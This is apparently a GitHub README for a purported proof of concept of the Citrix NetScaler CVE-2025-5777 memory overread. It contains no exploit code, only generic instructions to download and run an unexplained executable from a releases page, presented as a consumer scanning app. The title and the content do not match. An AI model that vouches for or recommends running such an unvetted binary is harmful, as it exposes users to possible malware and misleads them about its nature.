CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Description

🛠️ Explore the CVE-2025-5777 memory leak vulnerability in Citrix NetScaler, illustrating the risks of uninitialized memory in parsing malformed POST data.

Readme

# 🛡️ CVE-2025-5777 - Protect Your Citrix Services Safely

## 🚀 Getting Started

Welcome to CVE-2025-5777! This tool helps you manage and address a critical memory leak vulnerability in Citrix NetScaler ADC and Gateway devices. Follow these simple steps to download and run the application.

## 🔗 Download the Application

[![Download CVE-2025-5777](https://img.shields.io/badge/Download%20Now-Click%20Here-brightgreen)](https://github.com/Lakiya673/CVE-2025-5777/releases)

## 📥 Download & Install

1. Visit the [Releases page](https://github.com/Lakiya673/CVE-2025-5777/releases) to find the latest version of the software.
2. Scroll down to the **Assets** section.
3. Click on the file link for your operating system to download the application. For example, if you are using Windows, look for a file that ends with `.exe`.

## 🔍 System Requirements

To run the CVE-2025-5777 application, ensure your system meets the following requirements:

- **Operating System**: Windows 10 or newer, macOS 10.15 or newer, or a recent Linux distribution.
- **Memory**: At least 4 GB of RAM.
- **Storage**: Minimum of 100 MB of free disk space.
- **Network Connection**: Required for scanning devices.

## ⚙️ How to Use the Application

After downloading, follow these steps to run the application:

1. **Locate the Downloaded File**: 
   - Go to your computer's Downloads folder or the location where you saved the file.
   
2. **Run the Application**:
   - For Windows: Double-click the `.exe` file.
   - For macOS: Double-click the `.dmg` file, then drag the application to your Applications folder.
   - For Linux: Extract the `.tar.gz` file and run the application from the terminal.

3. **Follow the On-Screen Instructions**: Once the application opens, you will see a welcome screen with options to start scanning your Citrix devices.

## 📊 Features

CVE-2025-5777 offers the following features to help you manage the vulnerability:

- **Automatic Scanning**: Detects vulnerable Citrix NetScaler ADC and Gateway devices in your network.
- **User-Friendly Interface**: Designed for ease of use, even if you are not technical.
- **Remediation Guidance**: Provides step-by-step instructions on how to patch vulnerabilities.
- **Log Saving**: Keeps a record of past scans for future reference.

## 📞 Support

If you encounter any issues or have questions, please reach out for support via the **Issues** tab in the GitHub repository. Include details about your operating system and the problem you are facing.

## ⚠️ Disclaimer

This application is provided to assist you in managing the CVE-2025-5777 vulnerability. Use it at your own risk, and ensure you have backups of your important data.

## 📑 Additional Resources

For more information on Citrix vulnerabilities, consider checking the following:

- [Citrix Security Center](https://www.citrix.com/security.html)
- [National Vulnerability Database](https://nvd.nist.gov)
- [GitHub Discussions](https://github.com/Lakiya673/CVE-2025-5777/discussions)

## 🌟 Join the Community

Become a part of our community! Share your experiences and tips for using CVE-2025-5777. Your feedback helps us improve the application for everyone.

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Thank you for using CVE-2025-5777. Remember to stay vigilant and protect your Citrix devices!

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